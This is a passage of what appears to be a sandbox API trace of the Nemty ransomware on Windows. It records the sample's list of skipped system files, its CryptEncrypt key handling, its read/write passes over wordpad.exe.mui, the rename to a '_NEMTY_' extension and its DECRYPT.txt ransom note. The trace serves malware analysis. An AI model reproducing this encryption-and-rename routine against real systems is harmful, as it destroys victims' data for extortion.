lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="..") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="...") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="windows") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="rsa") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="NTDETECT.COM") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="ntldr") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="MSDOS.SYS") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="IO.SYS") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="boot.ini") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="boot.ini") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="ntuser.dat") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="desktop.ini") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="CONFIG.SYS") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="RECYCLER") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="bootmgr") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="programdata") returned 1 [0107.291] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2="appdata") returned 1 [0107.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0107.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0107.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0107.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0107.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0107.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x653ef60, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0107.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0107.292] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe.mui", cchWideChar=15, lpMultiByteStr=0x653ef98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0107.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941d0 [0107.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0107.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94258 [0107.292] Sleep (dwMilliseconds=0x5) [0107.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf39975f0, dwHighDateTime=0x1d561e7)) [0107.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf39975f0, dwHighDateTime=0x1d561e7)) [0107.294] GetLastError () returned 0xb7 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.295] GetLastError () returned 0xb7 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0107.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0107.295] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0107.295] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="Uh9Wt0rUbeqNDqWXy20LHeFwFtZGmzOALch0Gh/eRZ3E0/ekDiupdW6l/tNiujLg\r\nS9uOfmFiqNeHkzfMOmBzzFybc5qsbN/ZbzT3kwpr7ebrEyepj44s8DzecPhEC0Lw\r\nW20sZOYFNuPunMkRRZ0f0bkrHYBwFotg+trFSVN2f+AWwupzgZKFxPs1360xVkOq\r\nRK7krbkBW/NnOI3ijLf4/7zVeLm1O2R75mupn4bxhvVnmKfWykVy6gClyNThsQkU\r\nnso2UYFxsYgAS9smEtiZAe2A/5zzolfvTEcTZK86ASfX2hEu+DrsbES/YNaxOSjK\r\ncFifxJBW3MqK0Xz8r3ohIg==\r\n", pcchString=0x653ec5c) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.295] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\wordpad.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.295] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0107.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.408] CloseHandle (hObject=0xffffffff) returned 0 [0107.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0107.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0107.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\wordpad.exe.mui"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\wordpad.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\wordpad.exe.mui._nemty_kgobjgd_")) returned 0 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0107.409] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3971490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.409] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.410] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 